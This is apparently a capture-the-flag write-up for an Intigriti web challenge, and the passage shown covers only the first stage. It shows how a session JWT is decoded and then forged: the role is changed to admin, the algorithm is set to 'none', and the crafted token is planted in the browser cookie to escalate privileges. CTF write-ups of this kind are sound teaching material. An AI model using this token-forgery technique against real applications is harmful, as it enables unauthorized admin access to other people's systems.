Description

This is my first time participating in an Intigriti challenge. Challenge #1125 is a web application that simulates an e-commerce platform called AquaCommerce. The goal of the challenge is to exploit a Remote Code Execution (RCE) vulnerability in order to retrieve the flag, which follows the format INTIGRITI{.*}.

image.png

Exploitation

After exploring the application's features without finding anything promising, I proceeded to sign up for a user account. Around this time, a first hint was posted on Intigriti’s X page, mentioning something related to user permissions. This suggested that we would need to find a way to escalate our account privileges in order to access additional functionalities and expand the available attack surface.

image.png

Okay, after registering an account, the application sets a cookie named token, whose value is in JWT format (eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjo1LCJ1c2VybmFtZSI6Im5ka2hhaSIsInJvbGUiOiJ1c2VyIiwiZXhwIjoxNzYzNjk0NzY4fQ.0Y7cVySXdR6vHc-SgF1vIloTDoCRRnBm79VjnXO1QJo).

image.png

By Base64-decoding the JWT to inspect its contents, we obtain the following information:

Headers = {
  "alg": "HS256",
  "typ": "JWT"
}

Payload = {
  "user_id": 5,
  "username": "ndkhai",
  "role": "user",
  "exp": 1763694768
}

Signature = "0Y7cVySXdR6vHc-SgF1vIloTDoCRRnBm79VjnXO1QJo"

Attack Json Web Token to get admin permission:

In the decoded JWT data, there is a suspicious field: "role": "user". This immediately caught my attention, and I became curious about whether changing the value from "user" to "admin" might allow me to bypass the restrictions and escalate my current user privileges to admin.

Additionally, to prevent the JWT from validating the signature, I tried changing the "alg" value from "HS256" to "none"(a common trick used to bypass JWT verification).

So change the decoded jwt data to:

Headers = {
  "alg": "none",
  "typ": "JWT"
}

Payload = {
  "user_id": 5,
  "username": "ndkhai",
  "role": "admin",
  "exp": 1763694768
}

Signature = "0Y7cVySXdR6vHc-SgF1vIloTDoCRRnBm79VjnXO1QJo"

Then do base64 decode this changed jwt data above, and we get the new crafted jwt data:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjo1LCJ1c2VybmFtZSI6Im5ka2hhaSIsInJvbGUiOiJhZG1pbiIsImV4cCI6MTc2MzY5NDc2OH0.0Y7cVySXdR6vHc-SgF1vIloTDoCRRnBm79VjnXO1QJo

To make the testing process more convenient, I replaced the original JWT in the browser’s cookies with the modified one (using the developer tools).

image.png